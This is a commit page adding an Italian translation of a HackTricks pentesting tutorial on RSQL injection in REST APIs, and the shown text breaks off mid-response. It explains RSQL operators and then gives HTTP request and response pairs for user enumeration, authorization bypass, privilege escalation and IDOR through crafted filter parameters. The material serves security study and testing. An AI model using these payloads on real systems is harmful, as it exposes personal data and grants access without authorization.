mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/rsql-injection.md'] to it
This commit is contained in:
parent
98aa9ba0c8
commit
f75066b7e6
577
src/pentesting-web/rsql-injection.md
Normal file
577
src/pentesting-web/rsql-injection.md
Normal file
@ -0,0 +1,577 @@
|
|||||||
|
# RSQL Injection
|
||||||
|
|
||||||
|
## RSQL Injection
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
## RSQL Injection
|
||||||
|
|
||||||
|
## Cos'è RSQL?
|
||||||
|
RSQL è un linguaggio di query progettato per il filtraggio parametrizzato degli input nelle API RESTful. Basato su FIQL (Feed Item Query Language), originariamente specificato da Mark Nottingham per interrogare i feed Atom, RSQL si distingue per la sua semplicità e la capacità di esprimere query complesse in modo compatto e conforme agli URI su HTTP. Questo lo rende un'ottima scelta come linguaggio di query generale per la ricerca degli endpoint REST.
|
||||||
|
|
||||||
|
## Panoramica
|
||||||
|
L'RSQL Injection è una vulnerabilità nelle applicazioni web che utilizzano RSQL come linguaggio di query nelle API RESTful. Simile a [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) e [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), questa vulnerabilità si verifica quando i filtri RSQL non sono adeguatamente sanitizzati, consentendo a un attaccante di iniettare query dannose per accedere, modificare o eliminare dati senza autorizzazione.
|
||||||
|
|
||||||
|
## Come funziona?
|
||||||
|
RSQL consente di costruire query avanzate nelle API RESTful, ad esempio:
|
||||||
|
```bash
|
||||||
|
/products?filter=price>100;category==electronics
|
||||||
|
```
|
||||||
|
Questo si traduce in una query strutturata che filtra i prodotti con un prezzo superiore a 100 e categoria "elettronica".
|
||||||
|
|
||||||
|
Se l'applicazione non convalida correttamente l'input dell'utente, un attaccante potrebbe manipolare il filtro per eseguire query inaspettate, come:
|
||||||
|
```bash
|
||||||
|
/products?filter=id=in=(1,2,3);delete_all==true
|
||||||
|
```
|
||||||
|
Or anche approfittare per estrarre informazioni sensibili con query booleane o sottoquery annidate.
|
||||||
|
|
||||||
|
## Rischi
|
||||||
|
- **Esposizione di dati sensibili:** Un attaccante può recuperare informazioni che non dovrebbero essere accessibili.
|
||||||
|
- **Modifica o cancellazione dei dati:** Iniezione di filtri che alterano i record del database.
|
||||||
|
- **Escalation dei privilegi:** Manipolazione di identificatori che concedono ruoli tramite filtri per ingannare l'applicazione accedendo con privilegi di altri utenti.
|
||||||
|
- **Evasione dei controlli di accesso:** Manipolazione di filtri per accedere a dati riservati.
|
||||||
|
- **Impersonificazione o IDOR:** Modifica di identificatori tra utenti tramite filtri che consentono l'accesso a informazioni e risorse di altri utenti senza essere autenticati correttamente come tali.
|
||||||
|
|
||||||
|
## Operatori RSQL supportati
|
||||||
|
| Operatore | Descrizione | Esempio |
|
||||||
|
|:----: |:----: |:------------------:|
|
||||||
|
| `;` / `and` | Operatore logico **AND**. Filtra le righe dove *entrambe* le condizioni sono *vere* | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
|
||||||
|
| `,` / `or` | Operatore logico **OR**. Filtra le righe dove *almeno una* condizione è *vera*| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
|
||||||
|
| `==` | Esegue una query di **uguaglianza**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono esattamente uguali a *queryValue* | `/api/v2/myTable?q=columnA==queryValue` |
|
||||||
|
| `=q=` | Esegue una query di **ricerca**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* contengono *queryValue* | `/api/v2/myTable?q=columnA=q=queryValue` |
|
||||||
|
| `=like=` | Esegue una query di **similitudine**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono simili a *queryValue* | `/api/v2/myTable?q=columnA=like=queryValue` |
|
||||||
|
| `=in=` | Esegue una query di **inclusione**. Restituisce tutte le righe da *myTable* dove *columnA* contiene *valueA* O *valueB* | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
|
||||||
|
| `=out=` | Esegue una query di **esclusione**. Restituisce tutte le righe di *myTable* dove i valori in *columnA* non sono né *valueA* né *valueB* | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
|
||||||
|
| `!=` | Esegue una query di *diversità*. Restituisce tutte le righe da *myTable* dove i valori in *columnA* non sono uguali a *queryValue* | `/api/v2/myTable?q=columnA!=queryValue` |
|
||||||
|
| `=notlike=` | Esegue una query di **non similitudine**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* non sono simili a *queryValue* | `/api/v2/myTable?q=columnA=notlike=queryValue` |
|
||||||
|
| `<` & `=lt=` | Esegue una query di **minore di**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono minori di *queryValue* | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
|
||||||
|
| `=le=` & `<=` | Esegue una query di **minore di** o **uguale a**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono minori o uguali a *queryValue* | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
|
||||||
|
| `>` & `=gt=` | Esegue una query di **maggiore di**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono maggiori di *queryValue* | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
|
||||||
|
| `>=` & `=ge=` | Esegue una query di **uguale a** o **maggiore di**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono uguali o maggiori di *queryValue* | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
|
||||||
|
| `=rng=` | Esegue una query di **da a**. Restituisce tutte le righe da *myTable* dove i valori in *columnA* sono uguali o maggiori di *fromValue*, e minori o uguali a *toValue* | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
|
||||||
|
|
||||||
|
**Nota**: Tabella basata su informazioni da [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) e applicazioni [**rsql-parser**](https://github.com/jirutka/rsql-parser).
|
||||||
|
|
||||||
|
#### Esempi
|
||||||
|
- name=="Kill Bill";year=gt=2003
|
||||||
|
- name=="Kill Bill" and year>2003
|
||||||
|
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
|
||||||
|
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
|
||||||
|
- director.lastName==Nolan;year=ge=2000;year=lt=2010
|
||||||
|
- director.lastName==Nolan and year>=2000 and year<2010
|
||||||
|
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
|
||||||
|
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
|
||||||
|
|
||||||
|
**Nota**: Tabella basata su informazioni da [**rsql-parser**](https://github.com/jirutka/rsql-parser) applicazione.
|
||||||
|
|
||||||
|
## Filtri comuni
|
||||||
|
Questi filtri aiutano a perfezionare le query nelle API:
|
||||||
|
|
||||||
|
| Filtro | Descrizione | Esempio |
|
||||||
|
|--------|------------|---------|
|
||||||
|
| `filter[users]` | Filtra i risultati per utenti specifici | `/api/v2/myTable?filter[users]=123` |
|
||||||
|
| `filter[status]` | Filtra per stato (attivo/inattivo, completato, ecc.) | `/api/v2/orders?filter[status]=active` |
|
||||||
|
| `filter[date]` | Filtra i risultati all'interno di un intervallo di date | `/api/v2/logs?filter[date]=gte:2024-01-01` |
|
||||||
|
| `filter[category]` | Filtra per categoria o tipo di risorsa | `/api/v2/products?filter[category]=electronics` |
|
||||||
|
| `filter[id]` | Filtra per un identificatore unico | `/api/v2/posts?filter[id]=42` |
|
||||||
|
|
||||||
|
## Parametri comuni
|
||||||
|
Questi parametri aiutano a ottimizzare le risposte delle API:
|
||||||
|
|
||||||
|
| Parametro | Descrizione | Esempio |
|
||||||
|
|-----------|------------|---------|
|
||||||
|
| `include` | Include risorse correlate nella risposta | `/api/v2/orders?include=customer,items` |
|
||||||
|
| `sort` | Ordina i risultati in ordine crescente o decrescente | `/api/v2/users?sort=-created_at` |
|
||||||
|
| `page[size]` | Controlla il numero di risultati per pagina | `/api/v2/products?page[size]=10` |
|
||||||
|
| `page[number]` | Specifica il numero di pagina | `/api/v2/products?page[number]=2` |
|
||||||
|
| `fields[resource]` | Definisce quali campi restituire nella risposta | `/api/v2/users?fields[users]=id,name,email` |
|
||||||
|
| `search` | Esegue una ricerca più flessibile | `/api/v2/posts?search=technology` |
|
||||||
|
|
||||||
|
## Perdita di informazioni e enumerazione degli utenti
|
||||||
|
La seguente richiesta mostra un endpoint di registrazione che richiede il parametro email per verificare se esiste un utente registrato con quell'email e restituire un vero o falso a seconda che esista o meno nel database:
|
||||||
|
### Richiesta
|
||||||
|
```
|
||||||
|
GET /api/registrations HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 400
|
||||||
|
Date: Sat, 22 Mar 2025 14:47:14 GMT
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
Content-Length: 85
|
||||||
|
|
||||||
|
{
|
||||||
|
"errors": [{
|
||||||
|
"code": "BLANK",
|
||||||
|
"detail": "Missing required param: email",
|
||||||
|
"status": "400"
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Sebbene ci si aspetti un `/api/registrations?email=<emailAccount>`, è possibile utilizzare i filtri RSQL per tentare di enumerare e/o estrarre informazioni sugli utenti attraverso l'uso di operatori speciali:
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Origin: https://locahost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://locahost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 14:09:38 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 38
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": {
|
||||||
|
"attributes": {
|
||||||
|
"tenants": []
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Nel caso di corrispondenza con un'email valida, l'applicazione restituirebbe le informazioni dell'utente invece di un classico *“true”*, *"1"* o qualsiasi altra cosa nella risposta al server:
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 14:19:46 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 293
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": {
|
||||||
|
"id": "********************",
|
||||||
|
"type": "UserAccountDTO",
|
||||||
|
"attributes": {
|
||||||
|
"id": "********************",
|
||||||
|
"type": "UserAccountDTO",
|
||||||
|
"email": "manuel**********@domain.local",
|
||||||
|
"sub": "*********************",
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"tenants": [{
|
||||||
|
"id": "1"
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## Evasione dell'autorizzazione
|
||||||
|
In questo scenario, partiamo da un utente con un ruolo base e nel quale non abbiamo permessi privilegiati (ad es. amministratore) per accedere all'elenco di tutti gli utenti registrati nel database:
|
||||||
|
### Richiesta
|
||||||
|
```
|
||||||
|
GET /api/users HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJhb.................
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 403
|
||||||
|
Date: Sat, 22 Mar 2025 14:40:07 GMT
|
||||||
|
Content-Length: 0
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
```
|
||||||
|
Ancora una volta utilizziamo i filtri e gli operatori speciali che ci permetteranno un modo alternativo per ottenere le informazioni degli utenti e eludere il controllo degli accessi.
|
||||||
|
Ad esempio, filtrare per quegli *utenti* che contengono la lettera “*a*” nel loro *ID* utente:
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJhb.................
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 14:43:28 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 1434192
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"id": "********A***********",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 3,
|
||||||
|
"translationKey": "************",
|
||||||
|
"email": "**********@domain.local",
|
||||||
|
"firstName": "rafael",
|
||||||
|
"surname": "************",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
|
"mobilePhone": "*********",
|
||||||
|
"taxIdentifier": "********",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-08-09T10:57:41.237Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"id": "******************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}, {
|
||||||
|
"id": "*A*******A*****A*******A******",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 3,
|
||||||
|
"translationKey": ""************",
|
||||||
|
"email": "juan*******@domain.local",
|
||||||
|
"firstName": "juan",
|
||||||
|
"surname": ""************",",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
|
"mobilePhone": "************",
|
||||||
|
"taxIdentifier": "************",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-07-18T06:07:37.68Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"id": "*******************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}, {
|
||||||
|
................
|
||||||
|
```
|
||||||
|
## Escalation dei privilegi
|
||||||
|
È molto probabile trovare determinati endpoint che controllano i privilegi degli utenti attraverso il loro ruolo. Ad esempio, stiamo trattando un utente che non ha privilegi:
|
||||||
|
### Richiesta
|
||||||
|
```
|
||||||
|
GET /api/companyUsers?include=role HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJhb......
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:13:08 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 11
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": []
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Utilizzando determinati operatori, potremmo enumerare gli utenti amministratori:
|
||||||
|
### Richiesta
|
||||||
|
```
|
||||||
|
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJh.....
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:13:45 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 361
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"type": "CompanyUserGetResponseDTO",
|
||||||
|
"attributes": {
|
||||||
|
"companyId": "FA**************",
|
||||||
|
"companyTaxIdentifier": "B999*******",
|
||||||
|
"bizName": "company sl",
|
||||||
|
"email": "jose*******@domain.local",
|
||||||
|
"userRole": {
|
||||||
|
"userRoleId": 1,
|
||||||
|
"userRoleKey": "general.roles.admin"
|
||||||
|
},
|
||||||
|
"companyCountryTranslationKey": "*******",
|
||||||
|
"type": "CompanyUserGetResponseDTO"
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Dopo aver conosciuto un identificatore di un utente amministratore, sarebbe possibile sfruttare un'escursione di privilegi sostituendo o aggiungendo il filtro corrispondente con l'identificatore dell'amministratore e ottenendo gli stessi privilegi:
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJ.....
|
||||||
|
Origin: https:/localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https:/localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 18:53:00 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 68833
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"meta": {
|
||||||
|
"Functionalities": [{
|
||||||
|
"functionalityId": 1,
|
||||||
|
"permissionId": 1,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "general.userProfile",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
"functionalityId": 2,
|
||||||
|
"permissionId": 2,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "general.my_profile",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
"functionalityId": 3,
|
||||||
|
"permissionId": 3,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "layout.change_user_data",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
"functionalityId": 4,
|
||||||
|
"permissionId": 4,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "general.configuration",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
.......
|
||||||
|
```
|
||||||
|
## Impersonare o Riferimenti Diretti a Oggetti Insicuri (IDOR)
|
||||||
|
Oltre all'uso del parametro `filter`, è possibile utilizzare altri parametri come `include` che consente di includere nel risultato determinati parametri (ad es. lingua, paese, password...).
|
||||||
|
|
||||||
|
Nell'esempio seguente, vengono mostrate le informazioni del nostro profilo utente:
|
||||||
|
### Richiesta
|
||||||
|
```
|
||||||
|
GET /api/users?include=language,country HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJ......
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 540
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"id": "D5********************",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 3,
|
||||||
|
"translationKey": "**********",
|
||||||
|
"email": "domingo....@domain.local",
|
||||||
|
"firstName": "Domingo",
|
||||||
|
"surname": "**********",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
|
"mobilePhone": "******",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-03-11T07:24:57.627Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"howMeetUs": "**************",
|
||||||
|
"id": "D5********************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
La combinazione di filtri può essere utilizzata per eludere il controllo di autorizzazione e ottenere accesso ai profili di altri utenti:
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJ....
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### Risposta
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:50:07 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 520
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"id": "94******************",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 2,
|
||||||
|
"translationKey": "**************",
|
||||||
|
"email": "jose******@domain.local",
|
||||||
|
"firstName": "jose",
|
||||||
|
"surname": "***************",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
